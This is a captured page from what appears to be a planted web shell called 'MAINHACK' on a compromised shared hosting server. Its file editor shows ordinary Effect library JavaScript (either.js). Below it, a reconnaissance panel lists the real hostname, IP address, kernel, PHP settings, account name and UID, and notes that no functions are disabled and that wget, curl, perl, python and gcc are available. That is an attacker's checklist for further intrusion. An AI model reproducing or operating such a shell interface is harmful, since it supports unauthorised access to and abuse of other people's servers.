[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: either.js
/** * @since 2.0.0 */ import * as Equal from "../Equal.js"; import { dual } from "../Function.js"; import * as Hash from "../Hash.js"; import { format, NodeInspectSymbol, toJSON } from "../Inspectable.js"; import { hasProperty } from "../Predicate.js"; import { EffectPrototype } from "./effectable.js"; import * as option from "./option.js"; /** * @internal */ export const TypeId = /*#__PURE__*/Symbol.for("effect/Either"); const CommonProto = { ...EffectPrototype, [TypeId]: { _R: _ => _ }, [NodeInspectSymbol]() { return this.toJSON(); }, toString() { return format(this.toJSON()); } }; const RightProto = /*#__PURE__*/Object.assign(/*#__PURE__*/Object.create(CommonProto), { _tag: "Right", _op: "Right", [Equal.symbol](that) { return isEither(that) && isRight(that) && Equal.equals(this.right, that.right); }, [Hash.symbol]() { return Hash.combine(Hash.hash(this._tag))(Hash.hash(this.right)); }, toJSON() { return { _id: "Either", _tag: this._tag, right: toJSON(this.right) }; } }); const LeftProto = /*#__PURE__*/Object.assign(/*#__PURE__*/Object.create(CommonProto), { _tag: "Left", _op: "Left", [Equal.symbol](that) { return isEither(that) && isLeft(that) && Equal.equals(this.left, that.left); }, [Hash.symbol]() { return Hash.combine(Hash.hash(this._tag))(Hash.hash(this.left)); }, toJSON() { return { _id: "Either", _tag: this._tag, left: toJSON(this.left) }; } }); /** @internal */ export const isEither = input => hasProperty(input, TypeId); /** @internal */ export const isLeft = ma => ma._tag === "Left"; /** @internal */ export const isRight = ma => ma._tag === "Right"; /** @internal */ export const left = left => { const a = Object.create(LeftProto); a.left = left; return a; }; /** @internal */ export const right = right => { const a = Object.create(RightProto); a.right = right; return a; }; /** @internal */ export const getLeft = self => isRight(self) ? option.none : option.some(self.left); /** @internal */ export const getRight = self => isLeft(self) ? option.none : option.some(self.right); /** @internal */ export const fromOption = /*#__PURE__*/dual(2, (self, onNone) => option.isNone(self) ? left(onNone()) : right(self.value)); //# sourceMappingURL=either.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344